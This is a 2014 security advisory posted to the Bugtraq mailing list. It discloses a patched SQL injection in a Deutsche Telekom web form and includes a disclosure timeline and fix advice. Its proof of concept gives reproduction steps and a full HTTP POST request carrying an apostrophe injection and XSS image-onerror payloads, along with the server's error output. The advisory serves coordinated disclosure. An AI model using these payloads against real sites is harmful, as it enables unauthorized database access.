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German Telekom Bug Bounty #11 - Remote SQL Injection Vulnerability
- To: bugtraq@xxxxxxxxxxxxxxxxx, bugs@xxxxxxxxxxxxxxxxxxx
- Subject: German Telekom Bug Bounty #11 - Remote SQL Injection Vulnerability
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Thu, 06 Feb 2014 14:35:07 +0100
Document Title:
===============
German Telekom Bug Bounty #11 - SQL Injection Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1177
Dev Article:
http://www.vulnerability-db.com/dev/index.php/2014/02/06/german-telekom-bug-bounty-3x-remote-vulnerabilities/
Exclusive News:
http://news.softpedia.com/news/Expert-Finds-SQL-Injection-and-RCE-Vulnerabilities-in-Deutsche-Telekom-Systems-424518.shtml
Release Date:
=============
2014-02-06
Vulnerability Laboratory ID (VL-ID):
====================================
1177
Common Vulnerability Scoring System:
====================================
8.3
Product & Service Introduction:
===============================
Deutsche Telekom AG (English: German Telecom) is a German telecommunications
company headquartered in Bonn,
North Rhine-Westphalia, Germany. Deutsche Telekom was formed in 1996 as the
former state-owned monopoly
Deutsche Bundespost was privatized. As of June 2008, the German government
still holds a 15% stake in company
stock directly, and another 17% through the government bank KfW.
(Copy of the Homepage: http://en.wikipedia.org/wiki/Deutsche_Telekom &
http://www.telekom.com/bug-bounty )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a remote SQL Injection
web vulnerability in the official Telekom website web-application.
Vulnerability Disclosure Timeline:
==================================
2013-12-30: Researcher Notification & Coordination (Ibrahim Mosaad El-Sayed)
2013-12-30: Vendor Notification (Telekom CERT Security Team)
2014-01-02: Vendor Response/Feedback (Telekom CERT Security Team)
2014-01-24: Vendor Fix/Patch (Telekom Developer Team - Reward 1000€)
2014-02-06: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Critical
Technical Details & Description:
================================
A remote SQL Injection web vulnerability has been discovered in the official
Telekom (English) Fitness Check website web application.
The vulnerability allows remote attackers to inject unauthorized own sql
statements to compromise the affected web-application or dbms.
The sql injection vulnerability is located in `englishtest2004/test.asp` file
of the englishtest2004 module (path). After executing
the query through the test.asp page, the query`s result can be seen from a `500
error` returned by the `test.asp` page. The connected
vulnerable parameter in the `test.aspx` file is `mailbody` that is passed
through the POST method request. The SQL injection bug is in
the INSERT statement. Other paramaters like VORNAME, Email, PLZ, TELEFON can be
accessed by usage of a malicious insert statement.
The security risk of the sql injection vulnerability is estimated as critical
with a cvss (common vulnerability scoring system) count of 8.3(+).
Exploitation of the remote sql injection web vulnerability requires NO user
interaction or a privileged web-application user account.
Successful exploitation of the remote pre-auth sql injection results in dbms,
web-server and web-application (context) compromise.
Vulnerable Module(s):
[+] /englishtest2004/
Vulnerable File(s):
[+] /englishtest2004/test.asp
Vulnerable Parameter(s):
[+] mailbody
Proof of Concept (PoC):
=======================
The SQL injection vulnerability can be exploited by remote attackers without
privileged application user account and without required user inter action. For
demonstration or reproduce ...
a) The attacker should visit the main page to take the test
https://gt.telekom.de/englishtest2004eng/html/intro.htm
b) The attacker should keep clicking on next until he reaches the final step in
the test which is the page of "Registration for the Fitness Check"
c) In the form of registering the test, we have many fields.
We fill the up the vulnerable fields and then click on "Register" button
d) The attacker then should intercept the request and edit the "mailbody"
paremter to an apsrophe that will generate the SQL error
e) After forwarding the request, we will find the SQL error in the INSERT
statement echoed back in the page
The post request that has been used to reproduce the image is:
POST /englishtest2004/test.asp HTTP/1.1
Host: gt.telekom.de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0)
Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: https://gt.telekom.de/englishtest2004/html/intro_11.htm
Cookie: _ga=GA1.2.1524944686.1388633141;
ASPSESSIONIDQAQRBTRB=PJJNFNFCCPEDGGLMFOGEGNGK
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 483
response=/englishtest2004/html/starttest.htm&to=hans-juergen.grunwald@xxxxxxxxxx&from=&subject=Fokus_Sprachen_&_Seminare-Login&smtphost=localhost&mailbody='&NAME="><img
src=x onerror=alert(1)>&VORNAME="><img src=x onerror=alert(1)>&PLZ="><img
src=x onerror=alert(1)>&EMAIL="><img src=x onerror=alert(1)>&TELEFON="><img
src=x onerror=alert(1)>&ORT="><img src=x onerror=alert(1)>
After forwarding the post request, a response will be received from the server
similar to this:
HTTP/1.1 500 Internal Server Error
Date: Thu, 02 Jan 2014 03:49:47 GMT
Server: Microsoft-IIS/6.0
X-UA-Compatible: IE=EmulateIE7
X-Powered-By: ASP.NET
Content-Length: 572
Content-Type: text/html
Cache-control: private
insert into Sprachtest(Name, Vorname,PersNr,Telefon,Fax, Ergebnis)VALUES
('"><img src=x onerror=alert(1)>','"><img src=x onerror=alert(1)>','','"><img
src=x onerror ',' ','''); <font face="Arial" size=2>
<p>Microsoft OLE DB Provider for ODBC Drivers</font> <font face="Arial"
size=2>error '80040e14'</font>
<p>
<font face="Arial" size=2>[Microsoft][ODBC SQL Server Driver][SQL Server]Kein
schließendes Anführungszeichen nach der Zeichenfolge '');'.</font>
<p>
<font face="Arial" size=2>/englishtest2004/test.asp</font><font face="Arial"
size=2>, line 23</font>
Solution - Fix & Patch:
=======================
The vulnerability can be patched by the implement of a prepared statement in
the unsecure location request.
Encode the vulnerable filetypes and filelist parameter to prevent further
injection attacks.
Security Risk:
==============
The security risk of the remote sql injection web vulnerability is estimated as
critical with a cvss count of 8.3.
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Ibrahim Mosaad El-Sayed
(ibrahim@xxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com]
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=========================
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